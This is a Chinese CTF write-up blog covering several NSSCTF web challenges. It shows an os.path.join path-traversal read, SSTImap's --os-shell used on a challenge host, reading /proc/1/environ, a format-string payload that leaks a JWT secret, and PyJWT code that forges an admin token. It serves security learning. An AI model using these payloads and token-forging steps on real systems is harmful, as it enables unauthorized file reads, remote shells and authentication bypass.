怀着激动的心情加入了学校的CTF战队,时隔2年,再次打开NSSCTF开始刷题,心情十分复杂,以前会的现在忘了,以前不会的现在好像攻克了。但不管怎说,一段新的CTF生涯正在进行,加油吧!
[NISACTF 2022]babyupload
F12
1
2
3
4
5
6
7
8
9
|
<html><head></head><body>
<form action="/upload" method="post" enctype="multipart/form-data">
Select image to upload:
<input type="file" name="file">
<input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body></html>
|
转到/source
查看源码
1
2
3
4
5
6
7
8
9
10
11
12
13
|
@app.route('/file/<id>')
def file(id):
conn = db()
cur = conn.cursor()
cur.execute("select path from files where id=?", (id,))
res = cur.fetchone()
if res is None:
return "File not found", 404
# print(res[0])
with open(os.path.join("uploads/", res[0]), "r") as f:
return f.read()
|
注意到os.path.join()
,发现可以利用CVE-2020-35736,重发请求,修改文件名为"/flag"
参考:
os.path.join(path, *paths)
函数用于将多个文件路径连接成一个组合的路径。第一个参数通常包含了基础路径,而之后的每个参数都被当做组件拼接到基础路径后。
然而,这个函数有一个少有人知的特性。如果拼接的某个路径以 / 开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将被视为绝对路径。下面的示例揭示了开发者可能遇到的这个陷阱。
1
2
3
4
5
6
7
|
def read_file(request):
filename = request.POST['filename']
file_path = os.path.join("var", "lib", filename)
if file_path.find(".") != -1:
return HttpResponse("Failed!")
with open(file_path) as f:
return HttpResponse(f.read(), content_type='text/plain')
|
在第 3 行中,我们使用 os.path.join 函数将用户输入的文件名构造出目标路径。在第 4 行中,检查生成的路径是否包含”.“,防止出现路径遍历漏洞。
但是,如果攻击者传入的文件名参数为”/a/b/c.txt“,那么第 3 行得到的变量 file_path 会是一个绝对路径(/a/b/c.txt)。即 os.path.join 会忽略掉”var/lib“部分,攻击者可以不使用“.”字符就读取到任何文件。尽管 os.path.join 的文档中描述了这种行为,但这还是导致了许多漏洞
警惕!Python 中少为人知的 10 个安全陷阱! - 知乎
[HNCTF 2022 WEEK2]ez_SSTI
比较逆天的题,猜不到注入点是name
就永远做不出来。
既然题目给了SSTI (Server Side Template Injection) - HackTricks,那就学习一些高级技法
1
2
3
4
5
|
git clone https://github.com/vladko312/SSTImap.git
cd SSTImap
pip install -r requirements.txt
|
然后检索一下
1
|
python sstimap.py -u "http://node5.anna.nssctf.cn:24352/?name=1"
|
得到结果可以注入,那就传一个伪shell上去
1
|
python sstimap.py -u "http://node5.anna.nssctf.cn:24352/?name=1" --os-shell
|
正常ls
发现当前目录就有flag,cat以下即可。
附一个最全SSTI模板注入waf绕过总结(6700+字数!)_ssti注入绕过-CSDN博客
[LitCTF 2023]Flag点击就送!
flask的session签名伪造,需要一定玄学(猜测关键词为LitCTF)
[HNCTF 2022 WEEK3]ssssti
同week2
[GHCTF 2024 新生赛]理想国
用API构造一个用户,获得token,解析一些,发现是JWT
1
|
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEiLCJwYXNzd29yZCI6IjEifQ.uaahZh_a2WcFPzMcnOIrefvRpAeR1LG3AlU4rz8m
|
1
2
3
4
5
6
7
8
9
10
11
|
{
"header": {
"alg": "HS256",
"typ": "JWT"
},
"payload": {
"password": "1",
"username": "1"
},
"signature": "uaahZh_a2WcFPzMcnOIrefvRpAeR1LG3AlU4rz8m"
}
|
然后GET /api-base/v0/search?file=查找敏感目录。可以通过访问/proc寻找flag。
在/proc目录中,每个运行的进程都有一个以其PID(进程ID)命名的子目录。这些子目录包含了进程的详细信息,以下是一些关键文件和它们的用途:
- /proc/[PID]/cmdline:显示启动该进程的命令行。
- /proc/[PID]/cwd:指向进程的当前工作目录。
- /proc/[PID]/exe:指向正在执行的二进制文件。
- /proc/[PID]/fd/:包含该进程打开的所有文件描述符。
- /proc/[PID]/stat:包含关于进程状态的详细信息,如进程状态、CPU时间等。
- /proc/[PID]/status:提供进程状态的简明信息,包括内存使用、用户ID、组ID等。
- /proc/[PID]/environ: 获取当前进程的环境变量信息
这些文件和目录可以用于监控和调试进程。
每一个运行的进程都存在pid,对应的在/proc就存在一个/proc/pid的目录,这个/proc/pid目录也是一个伪文件系统.通常情况下每个/proc/pid是属于运行进程的有效用户的UID和GID.但是如果一个进程的dumpable属性的值大于1,从安全角度考虑,/proc/pid的属性就是root:root.
在4.11的内核版本之前,root:root表示的是全局UID和GID (在初始化的用户空间中的UID和GID都是0).但是在4.11之后的内核版本,如果这个进程不是在初始化的用户空间中,它的UID却是0,那么对应的/proc/pid的权限也是root:root.这就意味着在docker容器内,如果将进程的PID设置为0,那么这个进程在容器内就是以root权限运行的
所以可以尝试查看/proc/0以及/proc/1,在/proc/1/environ中发现flag。
后来看wp发现这个是非预期解。
[MoeCTF 2021]地狱通讯与地狱通讯-改
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
|
from flask import Flask, render_template, request, make_response, redirect
from secret import secret, headers, User # 导入必要的模块和对象
import datetime
import jwt # JSON Web Token库,用于生成和验证token
app = Flask(__name__)
@app.route("/", methods=['GET', 'POST'])
def index():
# 打开并读取当前脚本(app.py)的内容
f = open("app.py", "r")
ctx = f.read()
f.close()
# 创建响应对象
res = make_response(ctx)
# 获取URL参数中的'name',如果没有提供则为空字符串
name = request.args.get('name') or ''
# 如果'name'包含'admin'或者为空,则直接返回脚本内容
if 'admin' in name or name == '':
return res
# 创建JWT token的有效载荷
payload = {
"name": name,
}
# 使用'secret'密钥和指定的headers生成JWT token
token = jwt.encode(payload, secret, algorithm='HS256', headers=headers)
# 将生成的token设置为cookie
res.set_cookie('token', token)
return res
@app.route('/hello', methods=['GET', 'POST'])
def hello():
# 尝试从cookie中获取'token'
token = request.cookies.get('token')
# 如果没有找到token,则重定向到首页
if not token:
return redirect('/', 302)
try:
# 解码token,如果签名无效则抛出异常
name = jwt.decode(token, secret, algorithms=['HS256'])['name']
except jwt.exceptions.InvalidSignatureError as e:
return "Invalid token"
# 如果解码后的名字不是'admin',则根据名字创建User对象,并准备消息
if name != "admin":
user = User(name)
flag = request.args.get('flag') or ''
message = "Hello {0}, your flag is" + flag
return message.format(user)
else:
# 如果是'admin',渲染包含flag的页面
return render_template('flag.html', name=name)
if __name__ == "__main__":
app.run()
|
所以先在根域名下通过name生成一串cookie,再进入hello,用flag注入
payload
1
|
{0.__class__.__init__.__globals__}
|
找到密钥
1
|
u_have_kn0w_what_f0rmat_i5
|
python中伪造一个cookie
需要注意的是,pip应该安装PyJWT而不是jwt,在这被坑了
1
2
3
4
5
|
pip install PyJWT
import jwt
jwt.encode({"name":"admin"}, "u_have_kn0w_what_f0rmat_i5", algorithm='HS256', headers={"alg": "HS256","typ": "JWT"})
|
得到eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4ifQ.jlAcmWWxtmNLxbxwfRE45Fxf16dX6LQmrK_1dgx7zmg
从而获得flag
这个题和LitCTF2023 WEEK3ssti十分类似